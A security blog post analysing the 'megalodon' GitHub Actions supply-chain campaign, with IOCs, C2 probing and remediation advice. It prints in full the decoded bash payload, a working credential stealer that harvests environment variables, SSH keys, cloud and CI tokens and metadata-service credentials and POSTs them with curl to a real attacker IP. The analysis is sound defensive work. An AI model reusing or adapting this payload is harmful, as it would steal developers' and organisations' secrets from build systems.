There's a fish in my git
Sometimes, when I've had enough of package manager supply-chain attacks, I like to browse twitter.com. And sometimes, I see something good - like this.

A brand new mass compromise affecting thousands of Github repos. So I do what I always do in a situation like this, and download some malware.
Ah. That looks promising

A nice blob of base64 piped to bash in a pipeline run. Let's decode it and get stuck in.
CB="http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=4ny72dgixww6"
DID="4ny72dgixww6"
PLAT="gh"
WORK="$GITHUB_WORKSPACE"
REGEX=$(printf '%s' 'QUtJQVtBLVowLTldezE2fXxBU0lBW0EtWjAtOV17MTZ9fCg/OnNrfHJrfHJhaylfKD86bGl2ZXx0ZXN0KV9bQS1aYS16MC05XXsyNCwyMDB9fHdoc2VjX1tBLVphLXowLTldezI0LDIwMH18U0dcLltBLVphLXowLTlfXC1dezIyfVwuW0EtWmEtejAtOV9cLV17NDN9fHhrZXlzaWItW2EtekEtWjAtOV17NjR9LVthLXpBLVowLTldezE2fXxbMC05YS1mXXszMn0tKD86dXN8ZXUpXGR7MSwyfXxrZXktW2EtejAtOV17MzJ9fG1kLVthLXpBLVowLTlfXC1dezIyfXxnaFtwb3Vzcl1fW0EtWmEtejAtOV9dezM2fXxnaXRodWJfcGF0X1tBLVphLXowLTlfXXs4Mn18KD86Z2xwYXR8Z2xkdHxnbHJ0fGdsY2J0fGdscHR0fGdsc29hdHxnbGFnZW50fGdsZnR8Z2xpbXR8Z2x3dHxnbHB0bXxnbG9hc3xnbGZmY3QpLVtBLVphLXowLTlfXC1dezIwLH18R1IxMzQ4OTQxW0EtWmEtejAtOV9cLV17MjAsfXxBVEJCW0EtWmEtejAtOV17MjR9W0EtRmEtZjAtOV17OH18QVRBVFQzeEZmR0YwW0EtWmEtejAtOV89XC1dezMwLDQwMH18QVRDVFQzeEZmR04wW0EtWmEtejAtOV89XC1dezMwLDQwMH18SFJLVS1BQVswLTlBLVphLXpfXC1dezU4fXx4b3hbYnBhc10tW0EtWmEtejAtOVwtXXsxMCx9fG5wbV9bQS1aYS16MC05XXszNn18cHlwaS1BZ0VJY0hsd2FTNXZjbWNbQS1aYS16MC05X1wtXXs1MCx9fGRvW3Bvcl1fdjFfW2EtZjAtOV17NjR9fGRwXC4oPzpwdHxzdHxzYXxjdHxzY2ltfGF1ZGl0KVwuW0EtWmEtejAtOV9cLVwuXXs0MCx9fCg/OmJrdWF8YmthdClfW0EtWmEtejAtOV17NDAsfXxwdWwtW2EtZjAtOV17NDB9fHYxXC4wLVtBLVphLXowLTlfXC1dezE3MX18UE1BSy1bQS1aYS16MC05X1wtXXszMCx9fFthLXowLTldezUyfXxbQS1aYS16MC05X34uXC1dezN9XGRRfltBLVphLXowLTlffi5cLV17MzEsMzR9fFw/c3Y9XGR7NH0tXGR7Mn0tXGR7Mn0mW15cIlxzJ117MTAsMzAwfSZzaWc9W0EtWmEtejAtOSUvKz1dezIwLH18ZXlKW0EtWmEtejAtOV9cLV17MTAsfVwuW0EtWmEtejAtOV9cLV17MTAsfVwuW0EtWmEtejAtOV9cLV17MTAsfXwoPzptb25nb2RiKD86XCtzcnYpP3xwb3N0Z3Jlcyg/OnFsKT98bXlzcWx8cmVkaXMoPzpzKT98bXNzcWx8YW1xcHM/KTovL1teXHNcIiddezEwLDMwMH18LS0tLS1CRUdJTiAoPzpSU0EgKT9QUklWQVRFIEtFWS0tLS0tfCg/OkFXU19TRUNSRVRfQUNDRVNTX0tFWXxHSVRIVUJfVE9LRU58R0lUTEFCX1RPS0VOfFNMQUNLX1RPS0VOfERBVEFCQVNFX1VSTHxQUklWQVRFX0tFWXxTRUNSRVRfS0VZfEFQSV9LRVl8QVVUSF9UT0tFTik9W15cc1wiJ117OCx9' | base64 -d 2>/dev/null)
TMP_DIR=$(mktemp -d)
trap "rm -rf '$TMP_DIR'" EXIT
_post() {
local fname="$1" fpath="$2"
[ -z "$fpath" ] || [ ! -s "$fpath" ] && return
local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
[ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
curl -sS -X POST -m 60 -H 'Content-Type: text/plain' -H "X-Mega-DID: $DID" -H "X-Mega-Plat: $PLAT" -H "X-Mega-File: $fname" --data-binary @"$fpath" "${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
sleep $((RANDOM % 2))
}
printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"
[ -f /proc/self/environ ] && tr '\0' '\n' < /proc/self/environ | sort > "$TMP_DIR/meta_proc_self.txt" 2>/dev/null
_post "meta_proc_self" "$TMP_DIR/meta_proc_self.txt"
[ -d /proc ] && for p in /proc/[0-9]*/environ; do [ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null; done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"
[ -f /proc/1/environ ] && [ -r /proc/1/environ ] && tr '\0' '\n' < /proc/1/environ | sort > "$TMP_DIR/meta_pid1.txt" 2>/dev/null
_post "meta_pid1" "$TMP_DIR/meta_pid1.txt"
for f in "$HOME/.aws/credentials" "$HOME/.aws/config" "$HOME/.ssh/id_rsa" "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ecdsa" "$HOME/.ssh/config" "$HOME/.docker/config.json" "$HOME/.npmrc" "$HOME/.netrc" "$HOME/.pypirc" "$HOME/.git-credentials" "$HOME/.gitconfig" "$HOME/.config/gcloud/application_default_credentials.json" "$HOME/.config/gcloud/credentials.db" "$HOME/.config/gh/hosts.yml" "$HOME/.kube/config" "$HOME/.terraform.d/credentials.tfrc.json" "$HOME/.vault-token" "$HOME/.config/hub" "/etc/environment" "/etc/default/locale" "$HOME/.bash_history" "$HOME/.zsh_history" "/var/run/secrets/kubernetes.io/serviceaccount/token" "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"; do
[ -f "$f" ] && [ -r "$f" ] && _post "full_$(basename "$f")" "$f"
done
if command -v aws &>/dev/null; then
profiles=$(aws configure list-profiles 2>/dev/null)
if [ -n "$profiles" ]; then
while IFS= read -r prof; do
[ -z "$prof" ] && continue
out="$TMP_DIR/aws_$prof.txt"
{
echo "===PROFILE:$prof==="
timeout 8 aws sts get-caller-identity --profile "$prof" 2>&1 || true
echo "---ACCESS_KEY---"
timeout 5 aws configure get aws_access_key_id --profile "$prof" 2>/dev/null || true
echo "---SECRET_KEY---"
timeout 5 aws configure get aws_secret_access_key --profile "$prof" 2>/dev/null || true
echo "---SESSION_TOKEN---"
timeout 5 aws configure get aws_session_token --profile "$prof" 2>/dev/null || true
echo "---REGION---"
timeout 5 aws configure get region --profile "$prof" 2>/dev/null || true
} > "$out" 2>&1
_post "aws_$prof" "$out"
done <<< "$profiles"
fi
fi
if command -v gcloud &>/dev/null; then
gcloud auth list --format=json > "$TMP_DIR/gcp_auth.txt" 2>/dev/null
_post "gcp_auth" "$TMP_DIR/gcp_auth.txt"
timeout 5 gcloud auth print-access-token 2>/dev/null > "$TMP_DIR/gcp_token.txt"
[ -s "$TMP_DIR/gcp_token.txt" ] && _post "gcp_access_token" "$TMP_DIR/gcp_token.txt"
fi
find "$WORK" "$HOME" /tmp -maxdepth 5 -name 'config' -path '*/.git/config' ! -path '*/node_modules/*' 2>/dev/null | head -50 | while read -r gc; do
out="$TMP_DIR/git_$(echo "$gc" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
{ echo "---REPO:$(dirname "$(dirname "$gc")")---"; cat "$gc" 2>/dev/null; } > "$out"
_post "git_config" "$out"
done
[ -f "$HOME/.git-credentials" ] && _post "full_git_creds" "$HOME/.git-credentials"
find "$WORK" "$HOME" /tmp /home/runner -maxdepth 6 -type f \( -name ".env" -o -name ".env.*" -o -name "*.env" -o -name "*.env.*" -o -name "config.php" -o -name "settings.py" -o -name "wp-config.php" -o -name "application.properties" -o -name "application.yml" -o -name ".pypirc" -o -name "secrets.yml" -o -name "secrets.yaml" -o -name "credentials.json" -o -name "service-account.json" -o -name "docker-compose.yml" -o -name "docker-compose.yaml" -o -name ".env.production" -o -name ".env.local" \) ! -path '*/node_modules/*' ! -path '*/.git/*' 2>/dev/null | head -80 | while read -r ef; do
_post "find_$(basename "$ef")" "$ef"
done
if [ -d /var/www ] || [ -d /opt ] || [ -n "$RUNNER_NAME" ] || [ -n "$CI_SERVER_HOST" ]; then
find /var/www /opt /srv /home -maxdepth 4 -type f \( -name ".env" -o -name "*.env" -o -name "wp-config.php" -o -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519" -o -name "*.key" -o -name "*.p12" -o -name "*.pfx" \) ! -path '*/node_modules/*' 2>/dev/null | head -30 | while read -r f; do
[ -f "$f" ] && [ -r "$f" ] && _post "shost_$(echo "$f" | tr '/' '_')" "$f"
done
fi
grep -rIlE "$REGEX" "$WORK" --include='*.js' --include='*.ts' --include='*.py' --include='*.rb' --include='*.go' --include='*.java' --include='*.php' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.xml' --include='*.env' --include='*.conf' --include='*.cfg' --include='*.ini' --include='*.txt' --include='*.md' --include='*.sh' --include='*.tf' --include='*.tfvars' --include='*.toml' --include='*.properties' --include='*.gradle' --include='*.rs' --include='*.cs' --include='*.swift' --include='*.kt' --include='*.vue' --include='*.jsx' --include='*.tsx' --include='*.pem' --include='*.key' --include='*.ppk' 2>/dev/null | head -150 | while read -r sf; do
out="$TMP_DIR/hit_$(echo "$sf" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
{ echo "---FILE:$sf---"; grep -B 5 -A 5 -nE "$REGEX" "$sf" 2>/dev/null; } | head -c 3000 > "$out"
[ -s "$out" ] && _post "hit_$(basename "$sf")" "$out"
done
if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
printf 'req_url=%s\ntoken=%s\n' "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" > "$TMP_DIR/oidc_gh.txt"
_post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi
if [ -n "$CI_JOB_JWT_V2" ]; then
printf 'jwt_v2=%s\n' "$CI_JOB_JWT_V2" > "$TMP_DIR/oidc_gl.txt"
_post "oidc_gl" "$TMP_DIR/oidc_gl.txt"
fi
[ -n "$CI_JOB_TOKEN" ] && printf 'ci_token=%s\n' "$CI_JOB_TOKEN" > "$TMP_DIR/token_gl.txt" && _post "token_gl" "$TMP_DIR/token_gl.txt"
[ -n "$GITHUB_TOKEN" ] && printf 'gh_token=%s\n' "$GITHUB_TOKEN" > "$TMP_DIR/token_gh.txt" && _post "token_gh" "$TMP_DIR/token_gh.txt"
[ -n "$BITBUCKET_TOKEN" ] && printf 'bb_token=%s\n' "$BITBUCKET_TOKEN" > "$TMP_DIR/token_bb.txt" && _post "token_bb" "$TMP_DIR/token_bb.txt"
curl -sS -m 3 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_gcp.txt" ] && _post "meta_gcp_imds" "$TMP_DIR/meta_gcp.txt"
IMDS_TOK=$(curl -sS -m 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" "http://169.254.169.254/latest/api/token" 2>/dev/null)
if [ -n "$IMDS_TOK" ]; then
curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" > "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
role=$(head -1 "$TMP_DIR/meta_aws_imds.txt")
[ -n "$role" ] && curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" >> "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
_post "meta_aws_imds" "$TMP_DIR/meta_aws_imds.txt"
fi
curl -sS -m 3 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" > "$TMP_DIR/meta_az_imds.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_az_imds.txt" ] && _post "meta_az_imds" "$TMP_DIR/meta_az_imds.txt"
OK so right at the top we have everything we need. The campaign is called megalodon.
Each compromised repo gets its own `DID`, a short random ID used to track which victim sent which file on the server side. This one is `4ny72dgixww6`. The C2 is a plain HTTP server at 216.126.225.129:8443.
There's another long base64 string in there. Let's decode that too.
AKIA[A-Z0-9]{16}|ASIA[A-Z0-9]{16}|(?:sk|rk|rak)_(?:live|test)_[A-Za-z0-9]{24,200}|whsec_[A-Za-z0-9]{24,200}|SG\.[A-Za-z0-9_\-]{22}\.[A-Za-z0-9_\-]{43}|xkeysib-[a-zA-Z0-9]{64}-[a-zA-Z0-9]{16}|[0-9a-f]{32}-(?:us|eu)\d{1,2}|key-[a-z0-9]{32}|md-[a-zA-Z0-9_\-]{22}|gh[pousr]_[A-Za-z0-9_]{36}|github_pat_[A-Za-z0-9_]{82}|(?:glpat|gldt|glrt|glcbt|glptt|glsoat|glagent|glft|glimt|glwt|glptm|gloas|glffct)-[A-Za-z0-9_\-]{20,}|GR1348941[A-Za-z0-9_\-]{20,}|ATBB[A-Za-z0-9]{24}[A-Fa-f0-9]{8}|ATATT3xFfGF0[A-Za-z0-9_=\-]{30,400}|ATCTT3xFfGN0[A-Za-z0-9_=\-]{30,400}|HRKU-AA[0-9A-Za-z_\-]{58}|xox[bpas]-[A-Za-z0-9\-]{10,}|npm_[A-Za-z0-9]{36}|pypi-AgEIcHlwaS5vcmc[A-Za-z0-9_\-]{50,}|do[por]_v1_[a-f0-9]{64}|dp\.(?:pt|st|sa|ct|scim|audit)\.[A-Za-z0-9_\-\.]{40,}|(?:bkua|bkat)_[A-Za-z0-9]{40,}|pul-[a-f0-9]{40}|v1\.0-[A-Za-z0-9_\-]{171}|PMAK-[A-Za-z0-9_\-]{30,}|[a-z0-9]{52}|[A-Za-z0-9_~.\-]{3}\dQ~[A-Za-z0-9_~.\-]{31,34}|\?sv=\d{4}-\d{2}-\d{2}&[^\"\s']{10,300}&sig=[A-Za-z0-9%/+=]{20,}|eyJ[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}|(?:mongodb(?:\+srv)?|postgres(?:ql)?|mysql|redis(?:s)?|mssql|amqps?)://[^\s\"']{10,300}|-----BEGIN (?:RSA )?PRIVATE KEY-----|(?:AWS_SECRET_ACCESS_KEY|GITHUB_TOKEN|GITLAB_TOKEN|SLACK_TOKEN|DATABASE_URL|PRIVATE_KEY|SECRET_KEY|API_KEY|AUTH_TOKEN)=[^\s\"']{8,}That one turns out to be a 33-branch regular expression used to scan source code for secrets.
Let's take a look at how it all works.
printenv, /proc/self/environ, every /proc/[0-9]*/environ it can read, and /proc/1/environ all get dumped and POSTed. On a GitHub-hosted runner this catches GITHUB_TOKEN, any repo secrets you've mapped into the environment, and ACTIONS_ID_TOKEN_REQUEST_TOKEN.
Next it walks a hardcoded list of 24 paths: AWS credentials, SSH keys, Docker config, .npmrc, .netrc, .pypirc, git credentials, gcloud application default credentials, the GitHub CLI's hosts.yml, kubeconfig, Terraform Cloud credentials, Vault token, and shell history files.
Each file gets individually POSTed if it exists and is readable.
It goes on to query all three major cloud IMDS endpoints; GCP's metadata server, AWS IMDSv2, and Azure IMDS.
Self hosted runners are not safe from this one.
Finally it runs grep -rIlE "$REGEX" across the entire workspace against 30+ file extensions, extracts 5 lines of context around each match, and ships up to 3000 bytes per hit.
Certainly, there is some serious credential harvesting going on here.
I also looked at the 2nd repo mentioned in the original tweet. The only difference is the DID parameter which I expect is used to differentiate campaign victims.

The attack is still fresh, and the C2 is still active so let's take a look at that too.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
53/tcp open domain Unbound
8080/tcp open http aiohttp 3.10.11 (Python 3.8)
8443/tcp closed https-altPort 8443, the one hardcoded in both payloads is closed as of the time I checked. The listener has moved to 8080.
At the very least that means any repo running this now will fail, although I suspect I may just be too late.
$ curl http://216.126.225.129:8080/
ingest listener OK
Files go to (create automatically):
/root/cicd/loot/<h>/<id>/<label>_....txt
POST /any ?h=&l=&id=&t= body=raw bytes
GET /health (counters + same loot path)
Tip: LISTENER_LOG=1 prints each file to server console (default on).Fantastic, 8080 is serving something and gives us a couple of hints.
It's rare for a threat actor to return so much information on a curl, so I'm saying this is a vibe code special.
It even has a /health endpoint.
$ curl http://216.126.225.129:8080/health
{
"status": "ok",
"loot": "/root/cicd/loot",
"in_flight": 0,
"queue_limit": 1000000,
"ok": 575352,
"bytes": 449586359509,
...
}ok: 575352. That's 575,352 files received. bytes: 449586359509 โ 449 GB of stolen credentials, source code secrets, SSH keys, and cloud tokens, sitting on a VPS in Ashburn, Virginia.
Polling again 3 minutes later:
"ok": 577717,
"bytes": 462011003956
+2,365 files and +12 GB in under three minutes. That works out to roughly 15 files per second, 80 MB/s, ~289 GB per hour.
The campaign is very much still running.
We could stop here, now we understand what this does and what is getting stolen. But what about that C2?
The server is hosted on Cloudzy via RouterHosting (AS14956).
If you've been on cybersec twitter for long enough, you will have seen many people complain about Cloudzy. It's a cheap, fast, crypto-acceping, no-fuss VPS provider.

The "no fuss" part is doing a lot of work in that sentence.
In practice it's become a reliable choice for threat actors who need infrastructure that won't disappear on them the moment someone files an abuse report.
In August 2023, Halcyon published a detailed report documenting Cloudzy's role as what they called a "criminal cloud provider." They identified active infrastructure on Cloudzy being used by at least 17 different threat actor groups, including LockBit, ALPHV/BlackCat, Royal, Akira, and BianLian ransomware operations, as well as state-sponsored APT groups. They estimated that roughly 40% of Cloudzy's active servers at the time were being used for malicious purposes. You should read that report, which can be found here.
The ownership angle is interesting too. Cloudzy is incorporated in the United States but has been credibly linked to an Iranian company called abrNOC. Microsoft and Citizen Lab have both documented Cloudzy infrastructure being used by Iranian state-linked threat actors.
The company has consistently denied these allegations and claimed it has abuse controls in place.
The 577,000-file credential dump sitting on one of their servers today suggests those controls aren't particularly effective.
RouterHosting (AS14956) is a reseller layer on top of Cloudzy's infrastructure โ a common pattern where the actual hosting relationship is one step removed, which can slow down takedown requests further.
IOCs & TTPs
IOCs
IP: 216[.]126[.]225[.]129
Port: 8443 (hardcoded in payloads โ dead)
Port: 8080 (live listener as of 2026-05-21)
Campaign: megalodon
DIDs: hefs8esnhgkx (Tiledesk)
4ny72dgixww6 (GEOREFERENCIADOS)
Email: ci-bot[@]automated[.]dev
ASN: AS14956 RouterHosting / Cloudzy, Ashburn VAWhat to do if you think you're affected
Check your Actions run history for any Optimize-Build workflow executions. If you find one, assume everything is compromised: rotate all repo secrets, revoke OAuth apps with write access, check your deploy keys, and audit any cloud roles attached to your runners.
If you want to check whether your repo has been hit with this template:
grep -r "Optimize-Build" .github/workflows/
grep -r "216\.126\.225\.129" .github/workflows/
grep -rE 'echo "[A-Za-z0-9+/]{200,}" \| base64 -d' .github/workflows/Thanks for reading, be sure to leave a comment if you have any thoughts. Check out my other posts on veryserious.systems